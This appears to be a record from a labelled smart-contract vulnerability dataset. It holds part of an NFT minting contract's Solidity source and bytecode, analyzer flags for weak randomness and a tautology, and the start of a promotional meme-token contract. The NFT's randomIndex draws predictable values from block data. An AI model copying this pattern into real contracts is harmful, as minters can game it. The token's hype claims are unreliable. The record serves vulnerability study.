function balanceOf(address _owner) external view override returns (uint256) {
require(_owner != address(0));
return _getOwnerNFTCount(_owner);
}
function ownerOf(uint256 _tokenId) external view override returns (address _owner) {
require(idToOwner[_tokenId] != address(0));
_owner = idToOwner[_tokenId];
}
function getApproved(uint256 _tokenId) external view override validNFToken(_tokenId) returns (address) {
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external override view returns (bool) {
return ownerToOperators[_owner][_operator];
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function randomIndex() internal returns (uint) {
uint totalSize = TOKEN_LIMIT - numTokens;
uint index = uint(keccak256(abi.encodePacked(nonce, msg.sender, block.difficulty, block.timestamp))) % totalSize;
uint value = 0;
if (indices[index] != 0) {
value = indices[index];
} else {
value = index;
}
if (indices[totalSize - 1] == 0) {
indices[index] = totalSize - 1;
} else {
indices[index] = indices[totalSize - 1];
}
nonce++;
return value.add(1);
}
function getPrice() public view returns (uint) {
return price;
}
function devMint(uint quantity, address recipient) external onlyDeployer {
for (uint i = 0; i < quantity; i++) {
_mint(recipient);
}
}
function withdraw() public onlyDeployer {
uint256 balance = address(this).balance;
msg.sender.transfer(balance);
}
function RemainingtoMint() external view returns (uint) {
return TOKEN_LIMIT.sub(numTokens);
}
function mintDolphin(uint quantity) external payable reentrancyGuard {
require(quantity > 0 && quantity <= MAX_PURCHASE, "Exceed max per Tx");
require(numTokens.add(quantity) <= TOKEN_LIMIT, "Exceed supply");
require(msg.value >= price.mul(quantity), "Insufficient funds.");
beneficiary1.transfer( pricehalf.mul(quantity) );
beneficiary2.transfer( pricehalf.mul(quantity) );
for(uint i = 0; i < quantity; i++) {
_mint(msg.sender);
}
}
function _mint(address _to ) internal returns (uint) {
require(_to != address(0), "Cannot mint to 0x0.");
require(numTokens < TOKEN_LIMIT, "Sold out.");
uint id = randomIndex();
numTokens = numTokens + 1;
_addNFToken(_to, id);
emit Mint(id, _to);
emit Transfer(address(0), _to, id);
return id;
}
function _addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0), "Cannot add, already owned.");
idToOwner[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1);
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from, "Incorrect owner.");
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _getOwnerNFTCount(address _owner) internal view returns (uint256) {
return ownerToIds[_owner].length;
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Incorrect owner.");
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
//// Enumerable
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenByIndex(uint256 index) public pure returns (uint256) {
require(index >= 0 && index < TOKEN_LIMIT);
return index + 1;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
//// Metadata
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
function name() external view returns (string memory _name) {
_name = nftName;
}
function symbol() external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
function tokenURI(uint256 _tokenId) external view validNFToken(_tokenId) returns (string memory) {
return string(abi.encodePacked("https://ipfs.io/ipfs/QmWPfvAbmXJmCrAYevy9ABPc7d7XbY3sxe9fuMZHjerVD4/", toString(_tokenId)));
}
}
|
0x60806040526004361061014b5760003560e01c80636352211e116100b657806398d5fdca1161006f57806398d5fdca146107cc578063a22cb465146107f7578063b88d4fde14610854578063bdba443c14610924578063c87b56dd14610952578063e985e9c514610a065761014b565b80636352211e1461058c578063646c2e33146105f157806370a08231146106815780637146bd08146106e6578063759e21d01461071157806395d89b411461073c5761014b565b806323b872dd1161010857806323b872dd146103665780632d1a12f6146103e15780632f745c591461043c5780633ccfd60b146104ab57806342842e0e146104c25780634f6ccce71461053d5761014b565b806301ffc9a714610150578063031bd4c4146101c057806306fdde03146101eb578063081812fc1461027b578063095ea7b3146102e057806318160ddd1461033b575b600080fd5b34801561015c57600080fd5b506101a86004803603602081101561017357600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610a8d565b60405180821515815260200191505060405180910390f35b3480156101cc57600080fd5b506101d5610af5565b6040518082815260200191505060405180910390f35b3480156101f757600080fd5b50610200610afb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610240578082015181840152602081019050610225565b50505050905090810190601f16801561026d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028757600080fd5b506102b46004803603602081101561029e57600080fd5b8101908080359060200190929190505050610b9d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ec57600080fd5b506103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb2565b005b34801561034757600080fd5b5061035061101a565b6040518082815260200191505060405180910390f35b34801561037257600080fd5b506103df6004803603606081101561038957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611024565b005b3480156103ed57600080fd5b5061043a6004803603604081101561040457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145e565b005b34801561044857600080fd5b506104956004803603604081101561045f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611548565b6040518082815260200191505060405180910390f35b3480156104b757600080fd5b506104c06115f5565b005b3480156104ce57600080fd5b5061053b600480360360608110156104e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611707565b005b34801561054957600080fd5b506105766004803603602081101561056057600080fd5b8101908080359060200190929190505050611727565b6040518082815260200191505060405180910390f35b34801561059857600080fd5b506105c5600480360360208110156105af57600080fd5b810190808035906020019092919050505061174e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fd57600080fd5b506106066117f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064657808201518184015260208101905061062b565b50505050905090810190601f1680156106735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068d57600080fd5b506106d0600480360360208110156106a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611895565b6040518082815260200191505060405180910390f35b3480156106f257600080fd5b506106fb6118e0565b6040518082815260200191505060405180910390f35b34801561071d57600080fd5b506107266118e5565b6040518082815260200191505060405180910390f35b34801561074857600080fd5b50610751611903565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610791578082015181840152602081019050610776565b50505050905090810190601f1680156107be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107d857600080fd5b506107e16119a5565b6040518082815260200191505060405180910390f35b34801561080357600080fd5b506108526004803603604081101561081a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506119af565b005b34801561086057600080fd5b506109226004803603608081101561087757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156108de57600080fd5b8201836020820111156108f057600080fd5b8035906020019184600183028401116401000000008311171561091257600080fd5b9091929391929390505050611aae565b005b6109506004803603602081101561093a57600080fd5b8101908080359060200190929190505050611b05565b005b34801561095e57600080fd5b5061098b6004803603602081101561097557600080fd5b8101908080359060200190929190505050611e11565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109cb5780820151818401526020810190506109b0565b50505050905090810190601f1680156109f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a1257600080fd5b50610a7560048036036040811015610a2957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f70565b60405180821515815260200191505060405180910390f35b600060016000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b610d0581565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b935780601f10610b6857610100808354040283529160200191610b93565b820191906000526020600020905b815481529060010190602001808311610b7657829003601f168201915b5050505050905090565b600081600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420746f6b656e2e00000000000000000000000000000000000081525060200191505060405180910390fd5b6003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b8060006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610dab5750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610e1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43616e6e6f74206f7065726174652e000000000000000000000000000000000081525060200191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ef4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420746f6b656e2e00000000000000000000000000000000000081525060200191505060405180910390fd5b60006002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610f6557600080fd5b856003600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050505050565b6000600954905090565b8060006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614806110f557503373ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806111865750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f43616e6e6f74207472616e736665722e0000000000000000000000000000000081525060200191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420746f6b656e2e00000000000000000000000000000000000081525060200191505060405180910390fd5b60006002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146113a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f57726f6e672066726f6d20616464726573732e0000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561144b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f742073656e6420746f203078302e0000000000000000000000000081525060200191505060405180910390fd5b6114558686612004565b50505050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611521576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8281101561154357611535826120b9565b508080600101915050611524565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050821061159857600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106115e257fe5b9060005260206000200154905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611703573d6000803e3d6000fd5b5050565b611722838383604051806020016040528060008152506122a1565b505050565b600080821015801561173a5750610d0582105b61174357600080fd5b600182019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117bc57600080fd5b6002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561188d5780601f106118625761010080835404028352916020019161188d565b820191906000526020600020905b81548152906001019060200180831161187057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d057600080fd5b6118d98261280f565b9050919050565b601481565b60006118fe600954610d0561285b90919063ffffffff16565b905090565b606060088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561199b5780601f106119705761010080835404028352916020019161199b565b820191906000526020600020905b81548152906001019060200180831161197e57829003601f168201915b5050505050905090565b6000600d54905090565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611afe85858585858080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506122a1565b5050505050565b610d1560009054906101000a900460ff1615611b2057600080fd5b6001610d1560006101000a81548160ff021916908315150217905550600081118015611b4d575060148111155b611bbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f457863656564206d61782070657220547800000000000000000000000000000081525060200191505060405180910390fd5b610d05611bd78260095461287590919063ffffffff16565b1115611c4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f45786365656420737570706c790000000000000000000000000000000000000081525060200191505060405180910390fd5b611c6081600d5461288f90919063ffffffff16565b341015611cd5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e73756666696369656e742066756e64732e0000000000000000000000000081525060200191505060405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d2683600e5461288f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d51573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611da383600e5461288f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dce573d6000803e3d6000fd5b5060005b81811015611df157611de3336120b9565b508080600101915050611dd2565b506000610d1560006101000a81548160ff02191690831515021790555050565b606081600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611eea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420746f6b656e2e00000000000000000000000000000000000081525060200191505060405180910390fd5b611ef3836128c3565b60405160200180806130a56044913960440182805190602001908083835b60208310611f345780518252602082019150602081019050602083039250611f11565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052915050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061204582612a0a565b61204f8183612aab565b6120598383612d5e565b818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561215d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206d696e7420746f203078302e0000000000000000000000000081525060200191505060405180910390fd5b610d05600954106121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f536f6c64206f75742e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006121e0612f5c565b90506001600954016009819055506121f88382612d5e565b8273ffffffffffffffffffffffffffffffffffffffff16817ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010260405160405180910390a3808373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a480915050919050565b8160006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148061237257503373ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806124035750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612475576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f43616e6e6f74207472616e736665722e0000000000000000000000000000000081525060200191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561254c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420746f6b656e2e00000000000000000000000000000000000081525060200191505060405180910390fd5b60006002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612625576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f496e636f7272656374206f776e65722e0000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561265f57600080fd5b6126698787612004565b61267287613091565b156128055760008773ffffffffffffffffffffffffffffffffffffffff1663150b7a02338b8a8a6040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561272657808201518184015260208101905061270b565b50505050905090810190601f1680156127535780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561277557600080fd5b505af1158015612789573d6000803e3d6000fd5b505050506040513d602081101561279f57600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461280357600080fd5b505b5050505050505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b60008282111561286a57600080fd5b818303905092915050565b600081830190508281101561288957600080fd5b92915050565b6000808314156128a257600090506128bd565b8183029050818382816128b157fe5b04146128bc57600080fd5b5b92915050565b6060600082141561290b576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612a05565b600082905060005b60008214612935578080600101915050600a828161292d57fe5b049150612913565b60008167ffffffffffffffff8111801561294e57600080fd5b506040519080825280601f01601f1916602001820160405280156129815781602001600182028036833780820191505090505b50905060006001830390508593505b600084146129fd57600a84816129a257fe5b0660300160f81b828280600190039350815181106129bc57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84816129f557fe5b049350612990565b819450505050505b919050565b600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612aa8576003600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b50565b8173ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f496e636f7272656374206f776e65722e0000000000000000000000000000000081525060200191505060405180910390fd5b6002600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556000600660008381526020019081526020016000205490506000612c256001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905061285b90919063ffffffff16565b9050818114612cfa576000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612c7a57fe5b9060005260206000200154905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110612cd257fe5b9060005260206000200181905550826006600083815260200190815260200160002081905550505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480612d4257fe5b6001900381819060005260206000200160009055905550505050565b600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e33576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616e6e6f74206164642c20616c7265616479206f776e65642e00000000000081525060200191505060405180910390fd5b816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055612f416001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905061285b90919063ffffffff16565b60066000838152602001908152602001600020819055505050565b600080600954610d05039050600081600f54334442604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1660601b81526014018381526020018281526020019450505050506040516020818303038152906040528051906020012060001c81612fcf57fe5b069050600080601083610d058110612fe357fe5b01541461300157601082610d058110612ff857fe5b01549050613005565b8190505b6000601060018503610d05811061301857fe5b0154141561303c5760018303601083610d05811061303257fe5b0181905550613063565b601060018403610d05811061304d57fe5b0154601083610d05811061305d57fe5b01819055505b600f6000815480929190600101919050555061308960018261287590919063ffffffff16565b935050505090565b600080823b90506000811191505091905056fe68747470733a2f2f697066732e696f2f697066732f516d5750667641626d584a6d437241596576793941425063376437586259337378653966754d5a486a65725644342fa26469706673582212200b39aaf7664f72bffdcc09bdbd4c4332d172e25f74faf17276b33e3877eb67ea64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,287 |
0x83061e5b8393f60330c7ccd3a6c0db3358beec2d
|
// SPDX-License-Identifier: Unlicensed
/*
$WILDTIMES Inu
Elon Musk tweets again, and hereby launches a pure ERC20 meme token power!
Join our telegram:
https://t.me/wildtimesinu
Total Supply -> 1,000,000
Redistribution -> 2%
LP Fee -> 14% (7 Developer, 7 sent back to liquidity pool)
Burn -> 0% (useless to burn tokens beforehand if they don't represent actual liquidity value)
(This means 50% of the LP fee will work in the holders advantage, sending money back into the liquidity pool)
Automated buy control (below for more information)
Basic MaxTX of 0.5%
Between 10th and 25th buy -> 1%
Between 25th and 50th buy -> 2%
Between 50th and 60th buy -> 5%
60th+ -> Unlimited
*/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address to, uint value) external returns (bool);
}
contract WildtimesInu is Context, IERC20, Ownable {
string private constant _name = unicode"WILDTIMES";
string private constant _symbol = "$WILD";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c;
address private wallet1;
address private wallet2;
address private uniswapV2Pair;
address private WETH;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private buyCounter;
uint8 private constant _decimals = 9;
uint16 private maxTx;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
